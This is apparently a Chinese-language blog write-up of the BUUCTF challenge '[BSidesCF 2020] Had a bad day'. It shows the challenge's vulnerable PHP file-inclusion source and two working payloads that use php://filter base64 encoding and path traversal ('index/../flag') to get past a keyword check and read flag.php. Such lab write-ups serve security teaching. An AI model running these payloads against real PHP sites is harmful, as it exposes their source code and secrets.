BUUCTF-[BSidesCF 2020]Had a bad day

BUUCTF-[BSidesCF 2020]Had a bad day

随便一点, 发现:/index.php?category=woofers
打开源码, 发现:
image

判断是PHP文件包含的题目

构造:/index.php?category=php://filter/convert.base64-encode/resource=index.php
image
后端会拼接一个.php, 所以构造XXXX=index
查看源码:

<?php
$file = $_GET['category'];

if (isset($file)) {
    if (strpos($file, "woofers") !==  false || strpos($file, "meowers") !==  false || strpos($file, "index")) {
        include($file . '.php');
    } else {
        echo "Sorry, we currently only support woofers and meowers.";
    }
}
?>

解法一:
payload: php://filter/convert.base64-encode/index/resource=flag
PHP会尝试对flag.php文件先进行base64编码, 然后查找index过滤器, 找不到只会触发警告, 不过报错
验证:

<?php
$file = $_GET["file"] . ".php";
include($file);

输入:?file=php://filter/convert.base64-encode/index/resource=flag
响应:
image
可以看到, 只是触发了警告而已, 文件内容还是可以过滤出来的
思路来源: https://www.cnblogs.com/imtaieee/p/18542913
解法二:
payload:?file=php://filter/convert.base64-encode/index/resource=index/../flag
原理:
PHP在进行文件读取的时候, 如果输入的是一个文件路径, 那么在正式的把文件路径交给操作系统之前, 会对路径进行规范化: 传入nonono/../flag, PHP规范为flag, 然后交给操作系统进行读取
验证:

<?php
$file = $_GET["file"] . ".php";
include($file);
//文件目录下不存在名为nonono的文件或文件夹

输入: ?file=php://filter/convert.base64-encode/resource=nonono/../flag
输出: JGZsYWc9ImZsYWd7ZmxhZyBmb3VuZCF9Ig==

posted on 2025-12-22 15:22  misaki%20mei  阅读(5)  评论(0)    收藏  举报

导航